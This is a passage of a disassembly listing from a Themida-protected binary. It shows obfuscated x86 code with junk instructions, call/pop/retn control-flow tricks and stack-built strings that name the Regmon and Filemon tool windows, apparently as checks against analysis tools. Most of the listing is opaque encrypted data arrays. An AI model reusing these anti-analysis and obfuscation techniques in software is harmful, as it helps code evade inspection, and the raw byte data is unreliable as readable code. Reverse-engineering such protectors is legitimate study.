0FED74BEh, 7B1A26D3h, 207975FFh, 72BD360Bh, 0A0655488h db 89h ; --------------------------------------------------------------------------- loc_5F8815: ; CODE XREF: Themida_:005F87E9j push 913D59A5h xchg eax, esp jo short near ptr loc_5F87F9+3 cmc pop es mov edx, 85B5FF4Dh push 0FA91933Eh das pop ds pop edi std push ecx fidiv dword ptr [ecx+3Fh] adc esi, ebp mov ecx, 9285E94Dh mov ebp, 4D7A9774h hlt ; --------------------------------------------------------------------------- dw 9261h dd 7AE57435h, 7AF22D15h, 5791DEFDh, 0CABC75FCh, 0CA9DDF60h dd 5BC7DF61h, 1C9775FCh, 1C4A1345h ; --------------------------------------------------------------------------- push esi loc_5F8861: ; CODE XREF: Themida_:005F8871j popf loc_5F8862: ; CODE XREF: Themida_:005F8863j inc ebx jnp short loc_5F8862 loc_5F8865: ; CODE XREF: Themida_:005F87ECj jnz short loc_5F8881 dec esp loc_5F8868: ; CODE XREF: Themida_:loc_5F8881j std jnz short loc_5F88E4 sbb al, 56h popf mov dh, 7Bh std jnz short loc_5F8861 out 57h, eax mov dh, 9Fh out 57h, al popf imul edi, [edx-3], 0FCF32375h loc_5F8881: ; CODE XREF: Themida_:loc_5F8865j jnz short loc_5F8868 ; --------------------------------------------------------------------------- db 8Ch dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7D9214B2h dd 1BAAC070h, 8A5D7216h, 0D02C7F51h, 1BDCE002h, 92087216h dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h ; --------------------------------------------------------------------------- loc_5F88E4: ; CODE XREF: Themida_:005F8869j wait int 0FDh dec ebx wait ficom word ptr [ecx+438A036Bh] retf 0DFA7h ; --------------------------------------------------------------------------- dw 22EEh ; --------------------------------------------------------------------------- push edi mov dh, 9Fh xchg eax, edx push edi and bh, [edx+edx*4] or al, 75h retf ; --------------------------------------------------------------------------- db 7Ah dd 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h, 7A5E7505h dd 79252D4Dh, 0FF69B657h, 7D201535h, 1A2DC87Dh, 0FF37216h dd 40FCF8ECh, 2ABB9E9Ch, 7A5C6115h, 781B9DFDh, 1A2775FDh dd 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch, 7D571535h dd 1A96C87Dh, 0F2F7216h, 4012F8F1h, 2ACC9E9Ch, 7AE4DE15h dd 7E4AB6FDh, 857975FDh, 91DD3A68h, 0EDC3F8FAh, 0F0289E98h dd 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh, 0F9BB5E3Ah dd 78357115h, 31CB8A3Eh, 0CE289E9Ch, 0E96514Ah, 0CA74C1FFh dd 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh, 79BEB5FEh dd 7825B5F1h, 0EF68B657h, 7D2014B6h, 0FAEA917Dh, 7542F539h dd 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h, 0B995FCF9h dd 7ACB7345h, 35708AFDh, 0F7F59E9Ch, 91185B60h, 39A0F8FAh dd 7A4ECD3Eh, 0EFD075FDh, 7D7C14B2h, 0F1CEB57Eh, 0EF1A8935h dd 7D1914B6h, 0B98E9757h, 8543BE15h, 7B1DFF02h, 8E5A72D9h dd 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h, 86BDF611h dd 7ABC9D9Dh, 0FB0475FDh, 914AD217h, 86EAFCFAh, 1B81CF7Dh dd 75E57216h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh, 7DB514B2h dd 29ADFCBDh, 0F1909E9Ch, 179F835h, 85E29E9Bh, 91933E6Fh dd 3C7FFDFAh, 6D04801Fh, 795E75FDh, 914E267Fh, 0E01A35FAh dd 7D201392h, 0F3E1B67Eh, 644B22FEh, 797975FDh, 91DD2677h dd 27ECF8FAh, 89289E9Bh, 722F2B59h, 85CB75FDh, 91843A6Fh dd 7E0AF6FAh, 7C718589h, 7ABC7244h, 4B5A7DFDh, 0BBF7C3F2h dd 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh, 61C044F9h dd 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h, 0F3348A01h dd 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh, 8E7A1102h dd 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h, 7AF2B6ADh dd 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h, 90162FFDh dd 7D201373h, 1BB2CF70h, 0F797216h, 7A71CCF5h, 0DE4F75FDh dd 7E9CBC9Ch, 0E7A226FDh, 7D7C14AAh, 7BD3497Dh, 83BE7188h dd 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh, 9149B217h dd 2D25F8FAh, 0F1CC9E9Ch, 725C7D80h, 89F275FDh, 0B8B01459h dd 0F7DC75F9h, 913F2240h, 0C3EF46FAh, 7A9775F5h, 0B9AADF0Eh dd 2D58F89Dh, 0FBF59E9Ch, 7B7874C2h, 0FBB000FCh, 7B5F7182h dd 795A74FCh, 82969E04h, 0F7ABB69Ch, 91842240h, 7AF3CDFAh dd 72C075FDh, 89BC75FDh, 0F19D1457h, 0F7EFFE3Dh, 91F61178h dd 8BD08AFAh, 16EBCAh, 4 dup(0) dd 1000000h, 5F401h, 6A07EB00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 7BFC357h, 0C794F209h dd 0F0C17DBh, 66605690h, 5774F5B9h, 505B6159h, 6A90D88Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0FE80C356h, 6A6B18h, 59506057h, 50DA8166h dd 6A5F6182h, 0D1BD8B00h, 8D07E406h, 0EB686785h, 7D8D8B07h dd 9007E42Bh, 80BF5760h, 59762512h, 0BE9h, 0CA253200h dd 561EE1C7h, 0D78D38Fh, 60515061h, 8B66E18Ah, 905B61C3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7DC35242h dd 8B1EBCDCh, 0BB66023Dh, 6A698Dh, 6FD98166h, 81006ADFh dd 0A77E25CFh, 7195FF35h, 6007E424h, 3579958Bh, 0F18B07E4h dd 5DEE961h, 6A0000h, 3E856h, 5E200000h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_5F8CCD: ; DATA XREF: Themida_:00584640o pop esi mov [esp+4], esi add dword ptr [esp+4], 14h inc esi push esi retn ; --------------------------------------------------------------------------- push ecx pusha mov esi, [ebp+7E40A85h] mov [ebp+7E431D1h], edx popa add [ebp+7E4017Dh], ecx loc_5F8CF2: ; DATA XREF: Themida_:005840D0o call $+5 pop ebp sub ebp, 7EB686Ch push 0 push ebp call sub_5F8D09 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F8D09 proc near ; CODE XREF: Themida_:005F8D01p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5F8D09 endp ; --------------------------------------------------------------------------- pop edi cli xchg esp, [esi-46h] xchg eax, esp and [ecx+1CEB0EEFh], al aaa mov bh, ch push 2270D7FEh mov bx, ax xor dword ptr [esp], 2270D85Eh mov [ebp+7E41C45h], ebx call dword ptr [ebp+7E40E41h] push 0 push ebx call sub_5F8D4E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F8D4E proc near ; CODE XREF: Themida_:005F8D46p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5F8D4E endp ; --------------------------------------------------------------------------- sahf fimul dword ptr [edx+2DBD8BDCh] or esp, esp pop es lea esi, [ebp+7EB6738h] mov cx, 4C51h mov dword ptr [esi], 6D676552h mov [ebp+7E425D9h], ebx mov edi, ecx mov dword ptr [esi+4], 6C636E6Fh push 0 push eax call sub_5F8D92 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F8D92 proc near ; CODE XREF: Themida_:005F8D8Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5F8D92 endp ; --------------------------------------------------------------------------- adc eax, 0DC6535F9h test [ebx], dl rcl dword ptr [edx], 1 add cx, 0FA30h mov dword ptr [esi+8], 737361h push 0 push edi call sub_5F8DC3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F8DC3 proc near ; CODE XREF: Themida_:005F8DBBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5F8DC3 endp ; --------------------------------------------------------------------------- and eax, 8BB3C1B1h mov ebp, 7E417C5h push 0 push 0 push edx call sub_5F8DEA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F8DEA proc near ; CODE XREF: Themida_:005F8DE2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5F8DEA endp ; --------------------------------------------------------------------------- dw 383Eh dd 89179C77h, 0E403458Dh, 38858D07h, 6A07EB67h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 535AC350h, 0F1160144h, 56C1A7F5h, 68D0Fh, 85310000h dd 7E41AC1h, 0F19D0B5Fh, 5007E417h, 0AE95250h, 92000000h dd 0FB87833Dh, 91865DE0h, 66310F68h, 5A471EB9h, 24048958h dd 19CD9D89h, 95FF07E4h, 7E42C35h, 0BFB0EA81h, 0C00B5DD1h dd 1B840Fh, 8B660000h, 3D4E9D9h, 820F0000h, 0Dh, 8E9h dd 9BDB9B00h, 44D16373h, 0A126685Fh, 0EE94929h, 85000000h dd 0B3B601E4h, 2D3E9505h, 88256831h, 24348105h, 4929A00Ah dd 95FFFBB5h, 7E40E41h, 0DE8h, 6E60BF00h, 819096E0h, 1AD20BF4h dd 8166F722h, 59FC7CC1h, 6738B58Dh, 6A07EBh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 808702C3h dd 2820FD2h, 0B1000000h, 3106C730h, 6A363438h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 9F91C357h, 858948CEh, 7E41925h, 6870Fh, 9D890000h, 7E4207Dh dd 370446C7h, 6A31342Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 9242C355h, 38D464E4h dd 958BF3BDh, 7E42D51h, 846C7h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8989C355h dd 0E40A19BDh, 6E807h, 52950000h, 1DBCB146h, 8C0F50h, 59000000h dd 6A006A59h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0FDB1C351h, 30B62CEBh, 950364CAh dd 7E42631h, 0DE85752h, 0F9000000h, 94919A12h, 96978E7Ch dd 63CB4D0Dh, 8D5B5B5Fh, 0EB673885h, 3BA6607h, 52509017h dd 0D98B6656h, 0E9310F5Bh, 7, 39F3A3E6h, 5ADF77A1h, 8E85058h dd 0B5000000h, 2DBA95F9h, 0BF4B1A75h, 1C074147h, 9D33905Bh dd 7E42D59h, 2C3595FFh, 0BD8B07E4h, 7E42EFDh, 0C5CED781h dd 0C00B7B96h, 45840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0E33005C3h, 1D9AD6F2h dd 0FD958960h, 0E807E41Ch, 8, 91079735h, 5AB9ABFFh, 61585A56h dd 241DB589h, 0D3E907E4h, 68000001h, 0F4A81A0h, 348196B7h dd 4A808C24h, 4195FF0Fh, 907E40Eh, 0E4333D9Dh, 0F605007h dd 8Fh, 0EE900h, 3DC50000h, 4133086Ch, 3684110Ch, 34D50029h dd 0B58D5B61h, 7EB6738h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 76C35141h, 0F741CCC6h, 6E64964Ch, 4606C75Ch dd 0B1656C69h, 446C763h, 636E6F6Dh, 6880Fh, 950B0000h dd 7E42C51h, 25BDB531h, 46C707E4h, 73616C08h, 51006A73h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0DA4B75E4h, 0EDF517h, 9D89ACE9h, 7E40E69h, 0AE8h, 0FA8F0700h dd 58763D57h, 66FB658Ah, 5B0701BAh, 0C46C7h, 0F000000h dd 586h, 95D9BB00h, 6A0E2Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 29C35343h, 9B4C6A95h, 0EE580AD2h dd 0E99D8BFEh, 8D07E40Eh, 0EB673885h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 8DA1AF80h, 0EF406B4Fh, 8B669046h, 0D2B250F9h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0C3F95BA0h, 0C3DACFF8h, 0FCB63493h, 2C3595FFh, 6A07E4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 86DEDAC3h, 0C00BFFDCh, 35840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D8989C3h dd 7E43075h, 598D2356h, 5A07E42Bh, 15E9h, 0C59D8B00h, 0E907E420h dd 0FFFFFAA6h, 18B0Fh, 66F90000h, 0B58DCF8Bh, 7E472B7h dd 0DE58D33h, 0B807E4h, 0F000000h, 68Dh, 39858900h, 0FF07E431h dd 57006AE6h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0ED2268C8h, 253A3B77h, 9D8B3C42h, 7E4140Dh dd 29E9C18Bh, 72000039h, 0CEE4789Ah, 2B41D5F5h, 8BA1354Fh dd 0EE0498ACh, 8A63F713h, 0F410EB64h, 52704A60h, 0B4CAA8BEh dd 152D0A20h, 0A11ECE81h, 13A9CEDAh, 54A43378h, 17F49277h dd 0A0F48B08h, 0F9621442h, 0BBCD68A0h, 65ACC4A1h, 7A5621AAh dd 38502Dh, 0AAC50C65h, 61795621h, 7A9A7311h, 7D4E9368h dd 165D7D56h, 35922092h, 4159ABCBh, 77E0692Fh, 94CBAF1Fh dd 0D3EBE0EFh, 7C56F193h, 0D932522Bh, 0B618AA92h, 37C8B644h dd 0E24DE0DFh, 1442411Dh, 693E50B9h, 165D7D56h, 785621AAh dd 7D5C2A62h, 2AF33169h, 3634367Ah, 0EBB8DC4h, 8FA13385h dd 0E893D3BAh, 0A0720986h, 77E01442h, 79569065h, 42A0AD4Fh dd 6ABA2314h, 0A8E1BFF8h, 1C2EBEDEh, 450AC147h, 0AC108203h dd 0FAA1C5FAh, 0A444192Bh, 0F193D327h, 0AD4F7956h, 231442A0h dd 3B94A887h, 87E9D9F4h, 42A0750Ah, 6678E114h, 61795691h dd 567D4E1Ah, 0AA1B6278h, 62785621h, 0B618AA1Bh, 0B5203E18h dd 1442A0CEh, 0B897238Ch, 0BFD16CA4h, 880E45EAh, 93D317B4h dd 576B4AE8h, 78567045h, 7D4E1B62h, 0F5F7B56h, 40789871h dd 0DBCAA69Eh, 6BC4C30Eh, 20928459h, 8BA6F46Dh, 16C5D730h dd 5F7B565Fh, 5B0AC118h, 0E893D370h, 0A0720986h, 77E01442h dd 79569065h, 21AA1A61h, 175E7C56h, 9C7A18AAh, 0A1B34E86h dd 0D3EBE0CCh, 7856F193h, 0E5DD1B62h, 19516B47h, 0FD15F27Eh dd 785616EBh, 5C661B62h, 0B8CAE0BEh, 627856E3h, 567D4E1Bh dd 0B0126278h, 42A04C33h, 8F6E0A14h, 3B10227Bh, 785621AAh dd 33B01262h, 1442A04Ch, 0A2DAF2CFh, 3B4DB607h, 560AC166h dd 0C11B6278h, 92705B0Ah, 75F33C20h, 0F204291Ah, 92731155h dd 0B0327720h, 54662906h, 0CE4B603Ah, 14425E29h, 5E5229A6h dd 97001442h, 3D84DD46h, 0F4920AC1h, 0D2ECFE18h, 0F08EDEF4h dd 10E5F717h, 4177F2D9h, 1914425Fh, 1B627856h, 78567D4Eh dd 85A01262h, 2155BEA7h, 0C1EABFD1h, 4F79560Ah, 1442A0ADh dd 39B0B323h, 5A663C0Fh, 0AC1BA01h, 93D314B7h, 2F7856F1h dd 69043C50h, 0F2D9C910h, 1B627856h, 9512744Eh, 1442A0EEh dd 1CF1036Ch, 19607A56h, 7D5621AAh, 0EEDD165Dh, 19607A56h dd 44776566h, 14144240h, 10607A56h, 77A26E9Eh, 0AD48809Ch dd 0BE61244Dh, 7D4ED7ACh, 19607A56h, 367721AAh, 0FDEBBD5Fh dd 0EBCFF8Bh, 7183A267h, 6179569Ch, 677D5B29h, 6E82612Fh dd 0D79E9B36h, 0E7E6E3AFh, 56F193D3h, 9219607Ah, 0F3CE15F4h dd 0AB049FD7h, 0FF9D7799h, 33CE0626h, 78564C21h, 21AA1B62h dd 45B3CE77h, 1BF795E0h, 1C2EC901h, 44E2E047h, 6A3F5165h dd 0CCB33092h, 8A1442A0h, 0C0F812EEh, 0FF7CCC25h, 1442A078h dd 0BE5B6DD6h, 1461D386h, 6843CFECh, 56FACFE1h, 7210607Ah dd 0AA457D95h, 7D4EC398h, 8F202092h, 9BCDE959h, 15876D89h dd 0AD851762h, 0D0A5B719h, 3B777754h, 0A1442BFh, 80542BA8h dd 99021442h, 7856B287h, 0E33C502Fh, 0CF16F593h, 39ED6F6h dd 0AAC398AAh, 6B09B921h, 0A03B7391h, 3092B98Eh, 0DB2266BEh dd 0ECFE9748h, 42ED0CF3h, 0EC69CB14h, 1442ED17h, 344827C3h dd 0F60861FCh, 9267AE17h, 0A0CCB330h, 307B1442h, 9D061F9Ah dd 1693F344h, 1442E161h, 0CB2B84EDh, 76BEA32Fh, 0BEE0F264h dd 0B82277EDh, 53F11442h, 910E5E76h, 1442B9EAh, 18EDFF68h dd 1A617956h, 12B921AAh, 0B5923092h, 0ED928B9Dh, 6A1442A0h dd 30EE73F8h, 43D93955h, 0CBE7C26Bh, 8D9FF893h, 1A3812AEh dd 0F4927AC1h, 9472FE18h, 794A6C7Eh, 42DD5177h, 77562914h dd 97751363h, 929A6F81h, 0ECCB18F4h, 0AC477FD8h, 182A4420h dd 0DF4EC052h, 9C1774F7h, 0EB17F8h, 227B9E7Bh, 79563B10h dd 658E2961h, 6E1592BEh, 0EC1442A0h, 7D4E3C83h, 0D9EDCCBAh dd 5C67445h, 42A08077h, 0E6E55814h, 4AE893D3h, 7045576Bh dd 115F492h, 61DE2EC9h, 1442A09Ah, 0FBBDCF38h, 5E7C566Ah dd 0F00D9C0Eh, 0FD43813Eh, 309216EBh, 0AA7135BEh, 3EA9E655h dd 14429CB9h, 859B7915h, 985FDC2Ch, 3614429Ch, 6CF5BBCDh dd 159212B9h, 1442A06Eh, 4E3C83ECh, 607A567Dh, 9221AA19h dd 0ECFE18F4h, 6DAE42F3h, 9573114Dh, 56986D7Fh, 4E19607Ah dd 697A567Dh, 42A017ECh, 15AC314h, 1AF492BAh, 9B24EAFCh dd 0AC85239Fh, 0AA86548Ch, 46D73790h, 0F6E7ED58h, 0D3DAAFC1h dd 744EF193h, 0A0EE9512h, 36C1442h, 7A561CF1h, 199E1060h dd 2D4522ADh, 45FA5AF5h, 5227391Eh, 2C9F21AAh, 4EF193D3h dd 607A567Dh, 7D957210h, 7F9D7745h, 0A259D626h, 301442A0h dd 0AAE0B5C7h, 4239B618h, 101442A0h, 77C095A7h, 4A898CDBh dd 0D30BC0B3h, 986E893h, 1442A072h, 906577E0h, 16F492h dd 11B2DC8h, 4EC40B25h, 597A567Dh, 0CE225677h, 3C520B89h dd 11900868h, 920047A0h, 0EDFF17F4h, 7C569E27h, 7D4E175Eh dd 19607A56h, 0F4927D4Eh, 0CFE9FB1Bh, 0AA93DAF2h, 0FF057721h dd 56D5049Ch, 921A6179h, 0A0CCB330h, 218A1442h, 0A0AF54D1h dd 0C22B1442h, 56BD8EB0h, 92175E7Ch, 0C80016F4h, 47370226h dd 0C9229C94h, 5668F1B7h, 0AA1A6179h, 607A5621h, 667C5A28h dd 6787602Eh, 0AFE3A36Ah, 93D3B3B2h, 213076E8h, 0B4F88A15h dd 0F492CDA2h, 29C4FC1Ah, 523FD17h, 72092BEh, 5D4540D6h dd 639BB792h, 3B5D6FC8h, 0AA12B96Ah, 61795621h, 927D4E1Ah dd 0C7FF17F4h, 0A0C3B835h, 268F1442h, 5011BBCDh, 42A08077h dd 5E6D5814h, 0AEF193D3h, 5E7C561Dh, 9221AA17h, 0AC3D120h dd 65777F63h, 4C256C4Bh, 0E562F42Ch, 1442D51Eh, 0A1FA53BCh dd 6D21AA5Ah, 0E893D35Eh, 43556D4Ah, 2B7C566Eh, 8ADA3351h dd 0D9EC13ECh, 95D7AA3Bh, 6946D22Bh, 6C7E1951h, 567D4E97h dd 0AA1B6278h, 4239B618h, 101442A0h, 25DA57A7h, 0B11442A0h dd 77613648h, 49CFF05h, 2F7856D5h, 20D3253h, 9B38C76Ah dd 166F0A42h, 567D4ECFh, 0AC0E5E7Ch, 42A0482Fh, 8B9D0614h dd 5621AAB6h, 0A4CB5B78h, 3C38487Ah, 21AA9CE3h, 93D35E6Dh dd 5E7C56F1h, 567D4E17h, 9EE6B78h, 0C51442A0h, 41B3035Ch dd 0CCC81D4Dh, 754A5CD0h, 474D7D4Eh, 0A81E1B60h, 3A54B4CAh dd 4289E25Ah, 115F492h, 561C2EC9h, 617956CDh, 567D4E1Ah dd 4E175E7Ch, 0E3F7D674h, 51637957h, 0B34B777Ch, 56231442h dd 0AE10607Ah, 42A04A31h, 0CA980814h, 6D4DF3C8h, 0F3C8DA33h dd 0CCB33092h, 8A1442A0h, 0C0490F21h, 926B09B9h, 8D9F3A72h dd 6E1592B8h, 0EC1442A0h, 7D4E3C83h, 7A5605C6h, 20921960h dd 26D6BF9Dh, 9EC0D291h, 1EE562C4h, 0BC1442DFh, 926C4153h dd 0C80016F4h, 25011B2Dh, 21AAC40Bh, 42A08077h, 5E6D5814h dd 56F193D3h, 4E19607Ah, 16F4927Dh, 69D3A000h, 7840600Ch dd 56704C66h, 7721AA0Fh, 1442A080h, 5F7B5658h, 647C5927h dd 7E26ED2Ch, 0CB2D3532h, 42A0A94Eh, 0F50DEA14h, 54293BA4h dd 92F193D3h, 9C626320h, 495B1023h, 0E939532Fh, 43556F4Bh dd 927D4E6Eh, 0EFCA19F4h, 0A7009BD3h, 529F7B95h, 92245C76h dd 42A06E15h, 2A83EC14h, 21AA8AD1h, 439709B9h, 4B5F3E88h dd 2F6759EBh, 3092481Dh, 0A0AA51CEh, 0C8281442h, 42A0B44Bh dd 60B92214h, 0A0AE554Eh, 8F2D1442h, 0A88799B3h, 18AAF83Fh dd 0A04239B6h, 4011442h, 9440FFBCh, 7284ED3Eh, 6402C09Dh dd 9A356D89h, 93D3B388h, 607A56F1h, 927D4E19h, 42A06E15h dd 5A83EC14h, 182E0CAAh, 18AA3106h, 4A82A07Ah, 56C89DAFh dd 9219607Ah, 0EECD16F4h, 0A96F81DAh, 0D30BC020h, 12B9F193h dd 0A06E1592h, 83EC1442h, 927D4E3Ch, 0ECFE18F4h, 95DCF6D2h dd 12B921AAh, 0A06E1592h, 50EC1442h, 87225A74h, 21AAE72Eh dd 93D30BC0h, 607A56F1h, 0AE7D4E19h, 1BF4921Dh, 0F0CFE9FBh dd 0AD2A8CDCh, 1442A0D6h, 0F00EE884h, 0B2C41DB8h, 0A618AADDh dd 0F67B1236h, 5DAEC1Ch, 275F7B56h, 92BC638Ch, 0C6FE18F4h dd 0A0C0B734h, 258E1442h, 470C6CCCh, 82EEC8DDh, 6E159270h dd 0ED14424Ch, 9C9EAD7Bh, 0DBEDE5B5h, 924C93FCh, 0E9FB1BF4h dd 0E8BEDC7h, 1442A069h, 0CCAD75E5h, 0A2D68290h, 92623749h dd 0C90115F4h, 57231C2Eh, 61442A0h, 0FE7B8C68h, 1442A079h dd 1136CD5h, 0B330922Ch, 1442A0CCh, 0F50F218Ah, 4EBB0216h dd 6179567Dh, 7A18AA1Ah, 0AF4A82A0h, 7756C89Dh, 9B751363h dd 0AA966B7Dh, 879B7A18h, 4D28B44Fh, 564A1F31h, 58265E7Ch dd 0E8275F7Fh, 8E2D6521h, 0ED2092D3h, 0E6292617h, 9EC66375h dd 617956E4h, 0B97D4E1Ah, 5621AA12h, 0B1136377h, 42A04F34h dd 90A20B14h, 0C67D4EBBh, 0A0807705h, 6D581442h, 0BFDDB755h dd 8260EC87h, 0D3855A6Ch, 1DAEF193h, 0ED6A7956h, 1442A016h dd 304E28C4h, 576D4BD7h, 0E42B841Fh, 817721AAh, 591442A0h dd 93D3418Ah, 176A95F1h, 0CA2CE05Ch, 42A2B64Dh, 2BB42414h dd 63E78CD7h, 0F594A6FFh, 2F2h, 50997715h, 89245C72h, 0D5DF830h dd 422DEB90h, 0ECFE6714h, 5F7B5617h, 4B30AD0Fh, 71442A0h dd 1F788C6Bh, 21AA380Dh, 42A08777h, 7B565714h, 7D4E185Fh dd 42FC2A77h, 20920214h, 14613F28h, 0D99FCFAEh, 0AA59E36h dd 1FE461B1h, 0BB144296h, 4A264052h, 0C6757B29h, 0AD060F7Ah dd 0B921AA66h, 6E159212h, 0EC1442A0h, 0C69FD57Ch, 166FCAE3h dd 19F492CFh, 182AC5FDh, 209225F6h, 748FED56h, 0C9698B39h dd 0C6121F7Fh, 28453E50h, 0B45DD833h, 19607A56h, 7A567D4Eh dd 879E1060h, 0FB0DBC0Bh, 0C8E7D37Eh, 0FF58EEC8h, 6D7F9573h dd 7721AA98h, 0AFA55527h, 0D35E6DF7h, 0F492F193h, 0CFE9FB1Bh dd 0EB89D9F3h, 0F810F10Ch, 4B0375EBh, 0D1FBAF2h, 17F49238h dd 7A9A73FFh, 56754668h, 35552E79h, 10EE8CDCh, 0A812BF3h dd 2A838A6Fh, 0ECCB57F2h, 0F305A0D8h, 9221AA1Eh, 0C7FF17F4h dd 24001A2Ch, 21AAC30Ah, 93D3E6E5h, 1AF492F1h, 1729C4FCh dd 0FAD520FDh, 4E3E85DEh, 0DFFBD674h, 7A56F8CDh, 0A017EC69h dd 5AC31442h, 2092BA01h, 37904E57h, 837E5048h, 0AD797F17h dd 0D1EDC854h, 56CC9DBFh, 0AA1A6179h, 0B3309221h, 1442A0CCh dd 0F50F218Ah, 0AAB7FE1Ah, 0BC54A618h, 50A51E99h, 556D693Eh dd 4BC8DDB7h, 1442A0B4h, 4E60B922h, 0F193D379h, 785A7956h dd 3BF12538h, 0D70F2F08h, 3A8AE33Ch, 6FA7BF9Ch, 92EDC2D4h dd 0A0CCB330h, 218A1442h, 7513ED0Fh, 976C7E9Ah, 1A617956h dd 0B17721AAh, 8911C0E5h, 115C7756h, 72D5C2C0h, 26C80059h dd 0C1E857A3h dd 280591BDh, 0F774D810h, 7F8E034Fh, 0FB1BF492h, 791628C3h dd 771C8ECDh, 4721A836h, 0ED0BE571h, 795606DBh, 7D4E1A61h dd 0F49212B9h, 27EDFF17h, 5F7B569Eh, 567D4E18h, 0AA1C6377h dd 0E7CBA618h, 1292F210h, 20922B00h, 0F5FA526h, 7DCDB9h dd 1442D27Bh, 0B25C6ED7h, 637756F1h, 567D4E1Ch, 0AA1C6377h dd 16F49221h, 7ED7F1CDh, 4037B446h, 0E1442A0h, 413A4CA5h dd 1442A0BAh, 83A17B19h, 556D9C71h, 0A08176F3h, 0EE3E1442h dd 0DAB16362h, 0ABBD2677h, 0B33092D6h, 1442A0CCh, 859734Fh dd 0B4F08D9Fh, 0B330920Eh, 1442A0CCh, 3E991A8Ah, 7ADAEEC6h dd 16F50F21h, 7D4EBB02h, 0FD19F492h, 0FE182AC5h, 59BB0B1Fh dd 42A027DCh, 384AB314h, 0A618AA63h, 520027BBh, 6B405251h dd 42A08077h, 5E6D5814h, 76E893D3h, 0CE4BAA66h, 36195D3Eh dd 795BE1CCh, 56390E20h, 921C6377h, 0A0CCB330h, 218A1442h dd 0B91CED0Fh, 5621AA12h, 0AA1C6377h, 9212B921h, 42A06215h dd 7754F014h, 0FE36502Ch, 40D20A63h, 42A03CC3h, 0D8319A14h dd 7D4E387Fh, 1C637756h, 1DAE7D4Eh, 0F069Eh, 79562D00h dd 23A502Eh, 4CBE0E67h, 2749DAB8h, 0D2A7B9DCh, 8F7721AAh dd 5F1442A0h, 93D3418Ah, 176A95F1h, 0CA2CE05Ch, 42A2B64Dh dd 47B42414h, 0AB26A8BBh, 6C0B1D76h, 614h, 597A5695h, 4B449099h dd 337AD3C6h, 39B618AAh, 1442A042h, 0C095A710h, 16F492h dd 0E0F6D4EEh, 7721AA99h, 3DBB784h, 2F785654h, 99E03953h dd 20927D4Eh, 0B6BDB784h, 251E308Ch, 4B00FA1Ch, 607A5648h dd 567D4E19h, 0AA19607Ah, 62785621h, 7F977412h, 0C59AAC47h dd 5E6D21AAh, 86E893D3h, 42A07209h, 6577E014h, 607A5690h dd 0B97D4E19h, 9221AA12h, 0A0CCB330h, 0EE8A1442h, 8C9EF713h dd 78779472h, 165B5F79h, 4E79C019h, 9205C67Dh, 0E9C81BF4h dd 0A9447CD5h, 0A0D99E97h, 0D8761442h, 0BCD6B2F9h, 7E90E984h dd 925E6DA9h, 0EDFF17F4h, 0AE6E1450h, 607A561Dh, 79997210h dd 0BC5F9F41h, 7E745296h, 0AA3E1325h, 7F0E4521h, 